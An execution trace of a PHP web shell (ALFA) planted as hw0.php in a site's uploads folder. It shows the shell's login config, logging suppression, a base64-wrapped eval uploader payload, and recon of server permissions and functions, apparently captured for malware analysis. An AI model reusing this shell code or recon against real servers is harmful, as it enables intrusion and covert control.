2 21 0 0.012739 2767064 preg_replace 0 /var/www/html/uploads/hw0.php 511 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/hw0.php'
2 21 1 0.012757 2767160
2 21 R '/var/www/html/uploads/hw0.php'
2 22 0 0.012772 2767064 trim 0 /var/www/html/uploads/hw0.php 511 1 '/var/www/html/uploads/hw0.php'
2 22 1 0.012785 2767096
2 22 R '/var/www/html/uploads/hw0.php'
2 23 0 0.012800 2767064 str_replace 0 /var/www/html/uploads/hw0.php 511 3 '\\' '/' '/var/www/html/uploads/hw0.php'
2 23 1 0.012816 2767160
2 23 R '/var/www/html/uploads/hw0.php'
1 A /var/www/html/uploads/hw0.php 511 GLOBALS['__file_path'] = '/var/www/html/uploads/hw0.php'
1 A /var/www/html/uploads/hw0.php 512 $config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2 24 0 0.012864 2767440 session_write_close 0 /var/www/html/uploads/hw0.php 514 0
2 24 1 0.012877 2767440
2 24 R FALSE
2 25 0 0.012891 2767440 ignore_user_abort 0 /var/www/html/uploads/hw0.php 515 1 TRUE
2 25 1 0.012907 2767504
2 25 R 0
2 26 0 0.012920 2767472 set_time_limit 0 /var/www/html/uploads/hw0.php 516 1 0
2 26 1 0.012938 2767536
2 26 R FALSE
2 27 0 0.012952 2767504 ini_set 0 /var/www/html/uploads/hw0.php 517 2 'memory_limit' '-1'
2 27 1 0.012968 2767608
2 27 R '128M'
2 28 0 0.012981 2767504 ini_set 0 /var/www/html/uploads/hw0.php 518 2 'upload_max_filesize' '9999m'
2 28 1 0.012996 2767576
2 28 R FALSE
2 29 0 0.013011 2767504 error_reporting 0 /var/www/html/uploads/hw0.php 853 1 32759
2 29 1 0.013024 2767576
2 29 R 0
2 30 0 0.013037 2767536 ini_set 0 /var/www/html/uploads/hw0.php 854 2 'error_log' NULL
2 30 1 0.013056 2767608
2 30 R ''
2 31 0 0.013069 2767536 ini_set 0 /var/www/html/uploads/hw0.php 855 2 'log_errors' 0
2 31 1 0.013083 2767608
2 31 R '1'
2 32 0 0.013096 2767536 ini_set 0 /var/www/html/uploads/hw0.php 856 2 'max_execution_time' 0
2 32 1 0.013110 2767576
2 32 R '0'
2 33 0 0.013122 2767504 ini_set 0 /var/www/html/uploads/hw0.php 857 2 'magic_quotes_runtime' 0
2 33 1 0.013140 2767576
2 33 R FALSE
2 34 0 0.013153 2767504 set_time_limit 0 /var/www/html/uploads/hw0.php 858 1 0
2 34 1 0.013166 2767568
2 34 R FALSE
2 35 0 0.013179 2767536 function_exists 0 /var/www/html/uploads/hw0.php 859 1 'set_magic_quotes_runtime'
2 35 1 0.013192 2767576
2 35 R FALSE
1 A /var/www/html/uploads/hw0.php 875 $default_action = 'FilesMan2'
1 A /var/www/html/uploads/hw0.php 876 $default_use_ajax = TRUE
1 A /var/www/html/uploads/hw0.php 877 $default_charset = 'Windows-1251'
2 36 0 0.013270 2767536 substr 0 /var/www/html/uploads/hw0.php 878 3 'Linux' 0 3
2 36 1 0.013285 2767664
2 36 R 'Lin'
2 37 0 0.013298 2767568 strtolower 0 /var/www/html/uploads/hw0.php 878 1 'Lin'
2 37 1 0.013310 2767632
2 37 R 'lin'
1 A /var/www/html/uploads/hw0.php 881 GLOBALS['sys'] = 'unix'
2 38 0 0.013336 2767536 alfaGetCwd 1 /var/www/html/uploads/hw0.php 882 0
3 39 0 0.013348 2767536 function_exists 0 /var/www/html/uploads/hw0.php 737 1 'getcwd'
3 39 1 0.013458 2767576
3 39 R TRUE
3 40 0 0.013473 2767536 getcwd 0 /var/www/html/uploads/hw0.php 738 0
3 40 1 0.013488 2767584
3 40 R '/var/www/html/uploads'
2 38 1 0.013503 2767584
2 38 R '/var/www/html/uploads'
1 A /var/www/html/uploads/hw0.php 882 GLOBALS['home_cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/hw0.php 883 GLOBALS['need_to_update_header'] = 'false'
1 A /var/www/html/uploads/hw0.php 884 GLOBALS['glob_chdir_false'] = FALSE
2 41 0 0.013555 2767584 alfaGetCwd 1 /var/www/html/uploads/hw0.php 890 0
3 42 0 0.013567 2767584 function_exists 0 /var/www/html/uploads/hw0.php 737 1 'getcwd'
3 42 1 0.013580 2767624
3 42 R TRUE
3 43 0 0.013593 2767584 getcwd 0 /var/www/html/uploads/hw0.php 738 0
3 43 1 0.013605 2767632
3 43 R '/var/www/html/uploads'
2 41 1 0.013619 2767632
2 41 R '/var/www/html/uploads'
1 A /var/www/html/uploads/hw0.php 890 GLOBALS['cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/hw0.php 898 ['cwd'] .= '/'
2 44 0 0.013659 2767632 function_exists 0 /var/www/html/uploads/hw0.php 899 1 'sys_get_temp_dir'
2 44 1 0.013673 2767672
2 44 R TRUE
2 45 0 0.013686 2767632 function_exists 0 /var/www/html/uploads/hw0.php 900 1 'mb_strlen'
2 45 1 0.013700 2767672
2 45 R FALSE
2 46 0 0.013713 2767632 function_exists 0 /var/www/html/uploads/hw0.php 905 1 'mb_substr'
2 46 1 0.013726 2767672
2 46 R FALSE
2 47 0 0.013739 2767632 function_exists 0 /var/www/html/uploads/hw0.php 910 1 'sys_get_temp_dir'
2 47 1 0.013752 2767672
2 47 R TRUE
2 48 0 0.013766 2767632 sys_get_temp_dir 0 /var/www/html/uploads/hw0.php 910 0
2 48 1 0.013778 2767672
2 48 R '/tmp'
2 49 0 0.013791 2767672 str_replace 0 /var/www/html/uploads/hw0.php 910 3 '\\' '/' '/tmp'
2 49 1 0.013805 2767768
2 49 R '/tmp'
2 50 0 0.013818 2767672 is_writable 0 /var/www/html/uploads/hw0.php 910 1 '/tmp'
2 50 1 0.013839 2767712
2 50 R TRUE
2 51 0 0.013853 2767640 sys_get_temp_dir 0 /var/www/html/uploads/hw0.php 910 0
2 51 1 0.013864 2767672
2 51 R '/tmp'
2 52 0 0.013878 2767672 define 0 /var/www/html/uploads/hw0.php 910 2 'ALFA_TEMPDIR' '/tmp'
2 52 1 0.013892 2767776
2 52 R TRUE
2 53 0 0.013908 2767704 function_exists 0 /var/www/html/uploads/hw0.php 2399 1 'posix_getpwuid'
2 53 1 0.013921 2767744
2 53 R TRUE
2 54 0 0.013934 2767704 function_exists 0 /var/www/html/uploads/hw0.php 2401 1 'posix_getgrgid'
2 54 1 0.013947 2767744
2 54 R TRUE
2 55 0 0.013965 2767704 function_exists 0 /var/www/html/uploads/hw0.php 2459 1 'scandir'
2 55 1 0.013978 2767744
2 55 R TRUE
2 56 0 0.013995 2767704 function_exists 0 /var/www/html/uploads/hw0.php 6162 1 'json_encode'
2 56 1 0.014008 2767744
2 56 R TRUE
2 57 0 0.014021 2767704 function_exists 0 /var/www/html/uploads/hw0.php 6204 1 'json_decode'
2 57 1 0.014033 2767744
2 57 R TRUE
2 58 0 0.014047 2767744 function_exists 0 /var/www/html/uploads/hw0.php 6520 1 'alfaFilesMan2'
2 58 1 0.014060 2767784
2 58 R TRUE
1 A /var/www/html/uploads/hw0.php 6521 _POST['a'] = 'FilesMan2'
2 59 0 0.014085 2768120 function_exists 0 /var/www/html/uploads/hw0.php 6524 1 'alfaFilesMan2'
2 59 1 0.014098 2768160
2 59 R TRUE
2 60 0 0.014112 2768080 alfaFilesMan2 1 /var/www/html/uploads/hw0.php 6525 0
3 61 0 0.014129 2768080 alfahead 1 /var/www/html/uploads/hw0.php 2560 0
3 A /var/www/html/uploads/hw0.php 912 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3 A /var/www/html/uploads/hw0.php 913 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4 62 0 0.014199 2769872 __ZW5jb2Rlcg 1 /var/www/html/uploads/hw0.php 914 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 63 0 0.014227 2769872 vcnvSCZgBz 1 /var/www/html/uploads/hw0.php 119 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 A /var/www/html/uploads/hw0.php 68 $b = 'base64_encode'
6 64 0 0.014264 2769872 base64_encode 0 /var/www/html/uploads/hw0.php 69 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6 64 1 0.014292 2772464
6 64 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5 63 1 0.014323 2772432
5 63 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 62 1 0.014353 2772432
4 62 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 65 0 0.014385 2772432 define 0 /var/www/html/uploads/hw0.php 914 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4 65 1 0.014413 2772536
4 65 R TRUE
3 A /var/www/html/uploads/hw0.php 966 _POST['charset'] = 'Windows-1251'
4 66 0 0.014440 2772464 function_exists 0 /var/www/html/uploads/hw0.php 967 1 'diskfreespace'
4 66 1 0.014454 2772504
4 66 R TRUE
4 67 0 0.014467 2772464 diskfreespace 0 /var/www/html/uploads/hw0.php 967 1 '/var/www/html/uploads/'
4 67 1 0.014485 2772496
4 67 R 209226104832
3 A /var/www/html/uploads/hw0.php 967 $freeSpace = 209226104832
4 68 0 0.014511 2772464 function_exists 0 /var/www/html/uploads/hw0.php 968 1 'disk_total_space'
4 68 1 0.014525 2772504
4 68 R TRUE
4 69 0 0.014538 2772464 disk_total_space 0 /var/www/html/uploads/hw0.php 968 1 '/var/www/html/uploads/'
4 69 1 0.014552 2772496
4 69 R 232015802368
3 A /var/www/html/uploads/hw0.php 968 $totalSpace = 232015802368
3 A /var/www/html/uploads/hw0.php 969 $totalSpace = 232015802368
3 A /var/www/html/uploads/hw0.php 970 $on = '<span class=\'header_on\'> ON </span>'
3 A /var/www/html/uploads/hw0.php 971 $of = '<span class=\'header_off\'> OFF </span>'
3 A /var/www/html/uploads/hw0.php 972 $none = '<span class=\'header_none\'> NONE </span>'
4 70 0 0.014622 2772464 function_exists 0 /var/www/html/uploads/hw0.php 973 1 'ssh2_connect'
4 70 1 0.014636 2772504
4 70 R FALSE
3 A /var/www/html/uploads/hw0.php 976 $ssh2 = '<span class=\'header_off\'> OFF </span>'
4 71 0 0.014660 2772464 function_exists 0 /var/www/html/uploads/hw0.php 977 1 'curl_version'
4 71 1 0.014674 2772504
4 71 R TRUE
3 A /var/www/html/uploads/hw0.php 978 $curl = '<span class=\'header_on\'> ON </span>'
4 72 0 0.014698 2772464 function_exists 0 /var/www/html/uploads/hw0.php 981 1 'mysql_get_client_info'
4 72 1 0.014711 2772504
4 72 R FALSE
4 73 0 0.014724 2772464 class_exists 0 /var/www/html/uploads/hw0.php 981 1 'mysqli'
4 73 1 0.014737 2772504
4 73 R FALSE
3 A /var/www/html/uploads/hw0.php 984 $mysql = '<span class=\'header_off\'> OFF </span>'
4 74 0 0.014762 2772464 function_exists 0 /var/www/html/uploads/hw0.php 985 1 'mssql_connect'
4 74 1 0.014775 2772504
4 74 R FALSE
3 A /var/www/html/uploads/hw0.php 988 $mssql = '<span class=\'header_off\'> OFF </span>'
4 75 0 0.014799 2772464 function_exists 0 /var/www/html/uploads/hw0.php 989 1 'pg_connect'
4 75 1 0.014812 2772504
4 75 R FALSE
3 A /var/www/html/uploads/hw0.php 992 $pg = '<span class=\'header_off\'> OFF </span>'
4 76 0 0.014836 2772464 function_exists 0 /var/www/html/uploads/hw0.php 993 1 'oci_connect'
4 76 1 0.014849 2772504
4 76 R FALSE
3 A /var/www/html/uploads/hw0.php 996 $or = '<span class=\'header_off\'> OFF </span>'
4 77 0 0.014873 2772464 ini_get 0 /var/www/html/uploads/hw0.php 997 1 'disable_functions'
4 77 1 0.014886 2772944
4 77 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 78 0 0.014912 2772464 ini_get 0 /var/www/html/uploads/hw0.php 998 1 'disable_functions'
4 78 1 0.014925 2772944
4 78 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 A /var/www/html/uploads/hw0.php 998 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 79 0 0.014971 2772912 ini_get 0 /var/www/html/uploads/hw0.php 1001 1 'safe_mode'
4 79 1 0.014984 2772944
4 79 R FALSE
3 A /var/www/html/uploads/hw0.php 1004 $safe_modes = '<span class=\'header_on\'>OFF</span>'
3 A /var/www/html/uploads/hw0.php 1005 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4 80 0 0.015021 2772912 ini_get 0 /var/www/html/uploads/hw0.php 1006 1 'open_basedir'
4 80 1 0.015034 2772944
4 80 R ''
3 A /var/www/html/uploads/hw0.php 1013 $open_b = '<span class=\'header_none\'> NONE </span>'
4 81 0 0.015059 2772912 ini_get 0 /var/www/html/uploads/hw0.php 1014 1 'safe_mode_exec_dir'
4 81 1 0.015072 2772944
4 81 R FALSE
3 A /var/www/html/uploads/hw0.php 1017 $safe_exe = '<span class=\'header_none\'> NONE </span>'
4 82 0 0.015097 2772912 ini_get 0 /var/www/html/uploads/hw0.php 1018 1 'safe_mode_include_dir'
4 82 1 0.015110 2772944
4 82 R FALSE
3 A /var/www/html/uploads/hw0.php 1021 $safe_include = '<span class=\'header_none\'> NONE </span>'
4 83 0 0.015135 2772912 function_exists 0 /var/www/html/uploads/hw0.php 1022 1 'posix_getegid'
4 83 1 0.015149 2772952
4 83 R TRUE
4 84 0 0.015161 2772912 function_exists 0 /var/www/html/uploads/hw0.php 1029 1 'posix_getpwuid'
4 84 1 0.015175 2772952
4 84 R TRUE
4 85 0 0.015187 2772912 function_exists 0 /var/www/html/uploads/hw0.php 1029 1 'posix_geteuid'
4 85 1 0.015200 2772952
4 85 R TRUE
4 86 0 0.015212 2772912 posix_geteuid 0 /var/www/html/uploads/hw0.php 1029 0
4 86 1 0.015225 2772912
4 86 R 33
4 87 0 0.015238 2772912 posix_getpwuid 0 /var/www/html/uploads/hw0.php 1029 1 33
4 87 1 0.015274 2773744
4 87 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 A /var/www/html/uploads/hw0.php 1029 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 88 0 0.015318 2773712 function_exists 0 /var/www/html/uploads/hw0.php 1030 1 'posix_getgrgid'
4 88 1 0.015331 2773752
4 88 R TRUE
4 89 0 0.015343 2773712 function_exists 0 /var/www/html/uploads/hw0.php 1030 1 'posix_getegid'
4 89 1 0.015356 2773752
4 89 R TRUE
4 90 0 0.015369 2773712 posix_getegid 0 /var/www/html/uploads/hw0.php 1030 0
4 90 1 0.015381 2773712
4 90 R 33
4 91 0 0.015394 2773712 posix_getgrgid 0 /var/www/html/uploads/hw0.php 1030 1 33
4 91 1 0.015420 2774376
4 91 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/hw0.php 1030 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3 A /var/www/html/uploads/hw0.php 1031 $user = 'www-data'
3 A /var/www/html/uploads/hw0.php 1032 $uid = 33
3 A /var/www/html/uploads/hw0.php 1033 $group = 'www-data'
3 A /var/www/html/uploads/hw0.php 1034 $gid = 33
3 A /var/www/html/uploads/hw0.php 1036 $cwd_links = ''
4 92 0 0.015506 2772992 explode 0 /var/www/html/uploads/hw0.php 1037 2 '/' '/var/www/html/uploads/'
4 92 1 0.015520 2773600
4 92 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/hw0.php 1037 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3 A /var/www/html/uploads/hw0.php 1038 $n = 6
3 A /var/www/html/uploads/hw0.php 1039 $i = 0
3 A /var/www/html/uploads/hw0.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/hw0.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/hw0.php 1042 $j = 0
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1046 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3 A /var/www/html/uploads/hw0.php 1039 $i++
3 A /var/www/html/uploads/hw0.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/hw0.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/hw0.php 1042 $j = 0
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1046 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3 A /var/www/html/uploads/hw0.php 1039 $i++
3 A /var/www/html/uploads/hw0.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/hw0.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/hw0.php 1042 $j = 0
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1046 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3 A /var/www/html/uploads/hw0.php 1039 $i++
3 A /var/www/html/uploads/hw0.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/hw0.php 1041 $cach_cwd_path = ''
3 A /var/www/html/uploads/hw0.php 1042 $j = 0
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= '/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= '/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/hw0.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/hw0.php 1042 $j++
3 A /var/www/html/uploads/hw0.php 1046 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3 A /var/www/html/uploads/hw0.php 1039 $i++
3 A /var/www/html/uploads/hw0.php 1040 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3 A /var/www/html/uploads/hw0.php 1041 $cach_cwd_path = ''
